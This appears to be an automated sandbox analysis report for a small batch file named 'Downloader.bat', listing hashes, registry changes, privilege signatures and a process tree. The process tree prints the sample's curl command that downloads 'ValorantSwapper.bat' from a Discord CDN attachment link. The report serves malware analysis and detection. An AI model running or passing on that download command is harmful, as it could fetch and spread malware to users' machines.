Analysis
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max time kernel
260s -
max time network
261s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
13-03-2024 05:11
Static task
static1
Behavioral task
behavioral1
Sample
Downloader.bat
Resource
win10v2004-20240226-en
Behavioral task
behavioral2
Sample
Downloader.bat
Resource
win11-20240221-en
General
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Target
Downloader.bat
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Size
269B
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MD5
9a75419a719b9724e6c9fea4b01130b0
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SHA1
53e20398e830115b07181e79d9d89c56bce3376f
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SHA256
7dd3f3179b79f35d0006b8561de23b75fd5de295643a48f7f1bbd39fe6ecc06a
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SHA512
ecaf3aebdb6b7c9eddae0c313c7a5b715167b9071e365fb5f53fc3d46906caf0c2fdb6b4e440c0cd1eb8758e1a7c6c094ac89238f51b0eda46035d14daa19782
Malware Config
Signatures
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Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{5985FC23-2588-4D9A-B38B-7E7AFFAB3155} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 0100000000000000b80b21320575da01 SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32,@elscore.dll,-6 = "Microsoft Cyrillic to Latin Transliteration" SearchIndexer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.au SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32,@elscore.dll,-7 = "Microsoft Devanagari to Latin Transliteration" SearchIndexer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft SearchFilterHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-125 = "Microsoft Word Template" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-194 = "Microsoft Excel Add-In" SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\MPEG2Demultiplexer SearchFilterHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\system32\unregmp2.exe,-9902 = "Movie Clip" SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-182 = "Microsoft PowerPoint Template" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\system32\unregmp2.exe,-9909 = "Windows Media Audio/Video file" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32,@elscore.dll,-5 = "Microsoft Transliteration Engine" SearchIndexer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.snd SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.svg\OpenWithList SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\System32\ieframe.dll,-914 = "SVG Document" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\system32\wmphoto.dll,-500 = "Windows Media Photo" SearchProtocolHost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{01BE4CFB-129A-452B-A209-F9D40B3B84A5} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 010000000000000090d125320575da01 SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-175 = "Microsoft PowerPoint Slide Show" SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions SearchFilterHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\{4EFE2452-168A-11D1-BC76-00C04FB9453B}\Default MidiOut Device SearchFilterHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\System32\acppage.dll,-6002 = "Windows Batch File" SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32,@elscore.dll,-2 = "Microsoft Script Detection" SearchIndexer.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-123 = "Microsoft Word Document" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-107 = "Microsoft Excel Comma Separated Values File" SearchProtocolHost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{8082C5E6-4C27-48EC-A809-B8E1122E8F97} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 01000000000000004dcfea330575da01 SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\system32\unregmp2.exe,-9905 = "Video Clip" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-170 = "Microsoft PowerPoint 97-2003 Presentation" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\system32\unregmp2.exe,-9923 = "Windows Media playlist" SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.snd\OpenWithList SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My SearchFilterHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\System32\ieframe.dll,-913 = "MHTML Document" SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtml\OpenWithList SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32,@elscore.dll,-8 = "Microsoft Malayalam to Latin Transliteration" SearchIndexer.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\System32\msxml3r.dll,-2 = "XSL Stylesheet" SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit SearchFilterHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\System32\wshext.dll,-4802 = "VBScript Script File" SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.DVR-MS SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\system32\cabview.dll,-20 = "Cabinet File" SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE SearchFilterHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates SearchFilterHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\system32\unregmp2.exe,-9912 = "Windows Media Audio file" SearchProtocolHost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{F81B1B56-7613-4EE4-BC05-1FAB5DE5C07E} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 010000000000000056b9c9300575da01 SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32,@elscore.dll,-1 = "Microsoft Language Detection" SearchIndexer.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-178 = "OpenDocument Presentation" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\system32\unregmp2.exe,-9935 = "MPEG-2 TS Video" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\System32\msxml3r.dll,-1 = "XML Document" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32,@elscore.dll,-4 = "Microsoft Simplified Chinese to Traditional Chinese Transliteration" SearchIndexer.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\system32\notepad.exe,-469 = "Text Document" SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie SearchFilterHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\System32\searchfolder.dll,-9023 = "Saved Search" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\system32\windows.storage.dll,-10152 = "File folder" SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.svg SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-126 = "Microsoft Word Macro-Enabled Template" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@windows.storage.dll,-21825 = "3D Objects" SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mht SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-103 = "Microsoft Excel Macro-Enabled Worksheet" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-131 = "Rich Text Format" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Windows\System32\ieframe.dll,-10046 = "Internet Shortcut" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@windows.storage.dll,-21824 = "Camera Roll" SearchProtocolHost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-177 = "Microsoft PowerPoint Macro-Enabled Slide Show" SearchProtocolHost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.au\OpenWithList SearchProtocolHost.exe -
Opens file in notepad (likely ransom note) 2 IoCs
pid Process 3804 NOTEPAD.EXE 1412 NOTEPAD.EXE -
Suspicious use of AdjustPrivilegeToken 26 IoCs
description pid Process Token: 33 2492 SearchIndexer.exe Token: SeIncBasePriorityPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe Token: SeTakeOwnershipPrivilege 2492 SearchIndexer.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3804 NOTEPAD.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2228 wrote to memory of 1796 2228 cmd.exe 89 PID 2228 wrote to memory of 1796 2228 cmd.exe 89 PID 2492 wrote to memory of 4812 2492 SearchIndexer.exe 114 PID 2492 wrote to memory of 4812 2492 SearchIndexer.exe 114 PID 2492 wrote to memory of 3624 2492 SearchIndexer.exe 115 PID 2492 wrote to memory of 3624 2492 SearchIndexer.exe 115 PID 2880 wrote to memory of 1680 2880 cmd.exe 129 PID 2880 wrote to memory of 1680 2880 cmd.exe 129
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Downloader.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Windows\system32\curl.execurl -o https://cdn.discordapp.com/attachments/1203539560856821800/1214035019396423690/ValorantSwapper.bat?ex=65f7a5382⤵PID:1796
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C:\Windows\system32\SearchIndexer.exeC:\Windows\system32\SearchIndexer.exe /Embedding1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2492 -
C:\Windows\system32\SearchProtocolHost.exe"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"2⤵
- Modifies data under HKEY_USERS
PID:4812
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C:\Windows\system32\SearchFilterHost.exe"C:\Windows\system32\SearchFilterHost.exe" 0 800 804 812 8192 808 7842⤵
- Modifies data under HKEY_USERS
PID:3624
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C:\Windows\System32\NOTEPAD.EXE"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Downloader.bat1⤵
- Opens file in notepad (likely ransom note)
PID:1412
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Downloader.bat" "1⤵
- Suspicious use of WriteProcessMemory
PID:2880 -
C:\Windows\system32\curl.execurl -o https://cdn.discordapp.com/attachments/1203539560856821800/1214035019396423690/ValorantSwapper.bat?ex=65f7a5382⤵PID:1680
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C:\Windows\System32\NOTEPAD.EXE"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Downloader.bat1⤵
- Opens file in notepad (likely ransom note)
- Suspicious use of FindShellTrayWindow
PID:3804
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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Filesize
271B
MD56f2206cc7b9a96e6344f987e80988201
SHA10980640aaa76a403502678e8b2a887f642268309
SHA256ec123bbfdab7b401cd31a11f5bf421a0f9e77da22342a6d3a27f7e4f36b67295
SHA512feb92f3ed5d3a998dda75a8cb9d0192267bf13723f69684d65b91ef2388448f3847cf782fb975a65d6e6276ff2c72e86ed892b64074b92cce9ebe5db99a48037